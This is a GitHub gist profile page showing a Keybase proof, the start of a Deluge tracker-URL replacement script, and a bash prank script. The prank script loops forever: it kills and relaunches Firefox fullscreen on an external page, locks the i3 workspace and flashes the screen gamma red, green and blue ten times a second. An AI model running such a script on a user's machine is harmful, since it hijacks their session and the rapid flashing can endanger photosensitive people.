Skip to content

Instantly share code, notes, and snippets.

View Khoyo's full-sized avatar

Khoyo

  • Paris, France
  • 16:18 (UTC +02:00)
View GitHub Profile
#!/bin/bash
DP=$(xrandr | grep " connected" | cut -d' ' -f1);
while true; do i3-msg "workspace 1"; done 2>&1 >/dev/null &
while true; do killall -9 firefox; sleep 0.2; firefox --new-window http://psapin.github.io/rainbowstalin.html; done 2>&1 >/dev/null &
while true; do i3-msg '[title=".*Mozilla Firefox"] fullscreen enable; [title=".*Mozilla Firefox"] move workspace 1'; done 2>&1 >/dev/null &
while true; do xrandr --output $DP --gamma 1:0.001:0.001; sleep 0.1; xrandr --output $DP --gamma 0.001:1:0.001; sleep 0.1; xrandr --output $DP --gamma 0.001:0.001:1; sleep 0.1; done 2>&1 >/dev/null &
disown

Keybase proof

I hereby claim:

  • I am khoyo on github.
  • I am khoyo (https://keybase.io/khoyo) on keybase.
  • I have a public key whose fingerprint is B464 2CB8 60CA 4E5C 6176 823A D5AD AAA4 7300 B92F

To claim this, I am signing this object:

#!/usr/bin/env python
#
# Find and replace tracker urls in a Deluge torrents.state
#
# Need to edit the variables: orig_tracker_url and new_tracker_url
import os
import sys
import platform
import shutil